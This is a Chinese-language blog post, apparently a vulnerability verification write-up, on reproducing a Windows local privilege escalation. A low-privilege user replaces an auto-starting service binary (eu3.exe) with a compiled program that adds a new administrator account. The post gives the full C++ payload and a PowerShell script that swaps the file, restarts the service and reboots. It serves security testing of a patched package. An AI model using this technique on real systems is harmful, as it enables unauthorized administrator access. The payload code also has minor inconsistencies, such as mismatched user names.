LPE 漏洞验证

一、什么是LPE 漏洞

LPE 是指攻击者利用系统漏洞将普通用户权限提升到系统管理员或SYSTEM权限的安全漏洞。在Windows系统中最典型的就是从标准用户提升到SYSTEM/Administrator权限。

二、验证思路

被测应用: eu3.exe(admin 安装运行,服务起来后,会自启动)

用户:user(在admin 组,有管理员权限)、seewo(在users 组,没有管理员权限)

过程:seewo 用户创建一个恶意文件 adduser.exe,把eu3.exe 给替换,重启服务或系统,触发恶意文件被执行(让替换后的 eu3.exe 运行起来),利用了管理员权限创建了一个 用户 

三、准备工作

1、查看所有第三方安装服务(主要找到 eu3.exe)

2、获取window 本地的用户权限情况 和 用icacls 枚举关联的权限

系统上的 BUILTIN\Administrators(F) Administrators 对该  eu3.exe 有完全的读写权限(括号中的F 则为完全控制可以替换),如果新增一个用户 seewo,把eu3.exe 替换成恶意二进制文件(users 组的seewo没有权限运行),然后通过重启服务或重启计算机来触发这个恶意二进制文件

3、在Windows创建用户并添加到管理员组

# 创建用户(设置密码为123456)
net user seewo 123456 /add
 
# 验证用户创建和组成员身份
net user seewo
 
# 检查当前权限
whoami /groups

# 删除用户
net user seewo /delete

4、创建替换的二进制文件,编译成 exe 文件

创建用户需要admin 的权限,如果运行并创建成功成功,说明程序替换并执行成功。

#include <cstdlib>
#include <iostream>
 
int main() {
    int result;
 
    // 执行系统命令
    result = std::system("net user user_test 123456 /add");
    if (result != 0) {
        std::cerr << "添加用户失败" << std::endl;
    }
 
    result = std::system("net localgroup administrators evil /add");
    if (result != 0) {
        std::cerr << "添加到管理员组失败" << std::endl;
    }
 
    return 0;
}

创建 adduser.cpp 文件,在 vs 2022 的编译环境下编译成 adduser.exe 文件

编译命令器 在对应的目录下,运行命令


cl /EHsc adduser.cpp /Fe:adduser.exe

四、验证过程

1、查找 被测进程路径对应的服务
# 查看所有运行的服务
Get-Service | Where-Object {$_.Status -eq "Running"} | Format-Table Name, DisplayName, Status
 
# 按进程路径查找服务
$targetPath = "C:\ProgramData\eu3.exe"
Get-WmiObject win32_service | Where-Object {$_.PathName -like "*$targetPath*"} | Format-Table Name, DisplayName, PathName, StartName

2、编写 PowerShell 脚本,利用eu3 的admin 运行权限,执行 adduser.exe 文件,创建admin 组用户

1)查找 被测进程路径对应的服务

# 查看所有运行的服务
Get-Service | Where-Object {$_.Status -eq "Running"} | Format-Table Name, DisplayName, Status
 
# 按进程路径查找服务
$targetPath = "C:\ProgramData\eu3.exe"
Get-WmiObject win32_service | Where-Object {$_.PathName -like "*$targetPath*"} | Format-Table Name, DisplayName, PathName, StartName
 
# 查看要恶意替换文件的执行权限
icacls "C:\ProgramData\adduser.exe"
 
$targetPath = "C:\ProgramData\adduser.exe"
Get-WmiObject win32_service | Where-Object {$_.PathName -like "*$targetPath*"} | Format-Table Name, DisplayName, PathName, StartName

2)需要把adduser.exe 的执行读写权限开放给 seewo 这个users 组的用户

把adduser.exe放到对应的目录下,右键adduser.exe 【属性】-->【安全】,添加文件权限

3)编写powershell 脚本

# Verify-Replacement.ps1
 
# 编码设置
$OutputEncoding = [System.Text.Encoding]::UTF8
$PSDefaultParameterValues['*:Encoding'] = 'utf8'
 
# 参数配置
$OriginalExePath = "C:\ProgramData\eu3.exe"
$NewExePath = "C:\ProgramData\adduser.exe"
$BackupPath = "C:\ProgramData\eu3.exe.bak"
$RenamedOriginalPath = "C:\ProgramData\test.exe"
$LogPath = "C:\ProgramData\replace_test.log"
$ServiceName = "eu3"
$RebootFlagFile = "C:\ProgramData\reboot_flag.txt"
 
# 确保日志目录存在
$LogDir = Split-Path $LogPath -Parent
if (-not (Test-Path $LogDir)) {
    New-Item -ItemType Directory -Path $LogDir -Force | Out-Null
}
 
function Write-Log {
    param(
        [string]$Message,
        [string]$Type = "INFO"
    )
     
    $timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
    $logMessage = "[$timestamp] [$Type] $Message"
    Add-Content -Path $LogPath -Value $logMessage -Encoding UTF8
    Write-Host $logMessage
}
 
 
function Stop-ServiceSafe {
    param(
        [string]$ServiceName
    )
    try {
        $service = Get-Service -Name $ServiceName -ErrorAction Stop
        if ($service.Status -eq 'Running') {
            Write-Log "正在停止服务 $ServiceName..."
            Stop-Service -Name $ServiceName -Force
            Start-Sleep -Seconds 2
        }
        return $true
    }
    catch {
        Write-Log "停止服务失败: $_" "ERROR"
        return $false
    }
}
 
function Replace-File {
    try {
        # 1. 首先停止服务
        if (-not (Stop-ServiceSafe -ServiceName $ServiceName)) {
            throw "无法停止服务"
        }
 
        # 2. 停止相关进程
        $processes = Get-Process | Where-Object {$_.Path -eq $OriginalExePath}
        foreach ($process in $processes) {
            Write-Log "正在停止进程: $($process.Id)"
            Stop-Process -Id $process.Id -Force
        }
        Start-Sleep -Seconds 2
 
        # 3. 重命名原始文件为
        Write-Log "正在重命名原始文件为test.ext..."
        if (Test-Path $RenamedOriginalPath) {
            Remove-Item $RenamedOriginalPath -Force
        }
        Move-Item -Path $OriginalExePath -Destination $RenamedOriginalPath -Force
 
        # 4. 更改新文件为源文件名
        Write-Log "Copy-Item 正在替换源文件的内容,eu3.exe的内容被替换成伪造的文件adduser.exe的内容 ..."
 
        Copy-Item -Path $NewExePath -Destination $OriginalExePath -Force
 
        # 5. 设置新文件权限
        $acl = Get-Acl $NewExePath
        Set-Acl -Path $OriginalExePath -AclObject $acl
 
        return $true
    }
    catch {
        Write-Log "文件替换失败: $_" "ERROR"
        return $false
    }
}
 
function Start-ServiceSafe {
    param(
        [string]$ServiceName
    )
    try {
        Write-Log "正在启动服务 $ServiceName..."
        Start-Service -Name $ServiceName
        Start-Sleep -Seconds 5
        $service = Get-Service -Name $ServiceName
        Write-Log "服务状态: $($service.Status)"
        return $service.Status -eq 'Running'
    }
    catch {
        Write-Log "启动服务失败: $_" "ERROR"
        return $false
    }
}
 
# 验证用户创建和组成员身份
function Verify-UserCreation {
    param(
        [string]$Username = "user_test"
    )
     
    try {
        Write-Log "开始验证用户 $Username 的创建状态和组成员身份..."
         
        # 检查用户是否存在
        $user = Get-LocalUser -Name $Username -ErrorAction SilentlyContinue
        if ($user) {
            Write-Log "用户 $Username 已成功创建"
             
            # 获取用户所属的组
            $groups = Get-LocalGroup | Where-Object { (Get-LocalGroupMember $_.Name -ErrorAction SilentlyContinue).Name -contains $user.Name }
             
            if ($groups) {
                Write-Log "用户 $Username 属于以下组:"
                foreach ($group in $groups) {
                    Write-Log " - $($group.Name)"
                }
            } else {
                Write-Log "用户 $Username 不属于任何本地组"
            }
             
            return $true
        } else {
            Write-Log "用户 $Username 未创建" "WARNING"
            return $false
        }
    }
    catch {
        Write-Log "验证用户创建失败: $_" "ERROR"
        return $false
    }
}
 
function Get-CurrentUser {
    try {
        $whoamiOutput = whoami /all
        $userInfo = $whoamiOutput | Select-String "用户名:|User Name:"
        $userPrivileges = $whoamiOutput | Select-String "特权名称:|Privilege Name:"
         
        Write-Log "当前用户信息:"
        Write-Log $userInfo
        Write-Log "用户特权:"
        foreach ($privilege in $userPrivileges) {
            Write-Log $privilege
        }
         
        return $whoamiOutput
    }
    catch {
        Write-Log "获取当前用户信息失败: $_" "ERROR"
        return $null
    }
}
 
 
function Restart-System {
    Write-Log "系统即将重启..."
    Set-Content -Path $RebootFlagFile -Value "Reboot initiated"
    Start-Process "shutdown.exe" -ArgumentList "/r /t 0" -NoNewWindow
}
 
# 主验证流程
try {
    if (Test-Path $RebootFlagFile) {
        Write-Log "系统重启后继续执行..."
        Remove-Item $RebootFlagFile -Force
    } else {
        Write-Log "开始验证流程"
        Write-Log "-------------------"
 
         # 获取并记录当前用户信息
        Write-Log "正在获取当前用户信息..."
        $currentUserInfo = Get-CurrentUser
        if ($currentUserInfo -eq $null) {
            Write-Log "无法获取当前用户信息,请检查权限" "WARNING"
        }
     
        # 1. 检查文件
        Write-Log "正在检查文件..."
        if (-not (Test-Path $OriginalExePath)) {
            throw "原始文件不存在"
        }
        if (-not (Test-Path $NewExePath)) {
            throw "替换文件不存在"
        }
     
        # 2. 备份原始文件
        Write-Log "正在备份原始文件..."
        Copy-Item -Path $OriginalExePath -Destination $BackupPath -Force -ErrorAction Stop
        Write-Log "备份完成: $BackupPath"
     
        # 3. 替换文件
        Write-Log "正在替换文件..."
        if (-not (Replace-File)) {
            throw "文件替换失败"
        }
     
        # 4. 启动服务
        if (-not (Start-ServiceSafe -ServiceName $ServiceName)) {
            throw "服务启动失败"
        }
 
        # 5. 重启系统
        Restart-System
        exit
    }
 
    # 6. 验证用户创建和组成员身份
    if (-not (Verify-UserCreation)) {
        throw "用户验证失败"
    }
     
    Write-Log "验证完成"
    Write-Log "-------------------"
}
catch {
    Write-Log "验证过程失败: $_" "ERROR"
     
    # 恢复流程
    Write-Log "开始恢复流程..."
     
    # 停止服务
    Stop-ServiceSafe -ServiceName $ServiceName
     
    # 恢复文件
    if (Test-Path $RenamedOriginalPath) {
        Write-Log "正在恢复原始文件..."
        if (Test-Path $OriginalExePath) {
            Remove-Item $OriginalExePath -Force
        }
        Move-Item -Path $RenamedOriginalPath -Destination $OriginalExePath -Force
        Write-Log "原始文件已恢复"
    }
    elseif (Test-Path $BackupPath) {
        Write-Log "正在从备份恢复..."
        Copy-Item -Path $BackupPath -Destination $OriginalExePath -Force
        Write-Log "已从备份恢复"
    }
     
    # 重启服务
    Start-ServiceSafe -ServiceName $ServiceName
}
finally {
    # 清理工作
    Write-Log "正在进行清理..."
    if (Test-Path $BackupPath) {
        Remove-Item $BackupPath -Force -ErrorAction SilentlyContinue
        Write-Log "已删除备份文件"
    }
    if (Test-Path $RebootFlagFile) {
        Remove-Item $RebootFlagFile -Force -ErrorAction SilentlyContinue
        Write-Log "已删除重启标志文件"
    }
}

4)安装有漏洞的包,运行脚本

# 在文件所在目录下,运行验证脚本
.\Verify-Replacement.ps1

运行的过程中会触发系统重启,重启后查看用户创建情况,用户创建成功,漏洞复现

5)安装没有漏洞的包,运行脚本

运行的过程中,修改文件被拦截,无法访问后续的文件

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值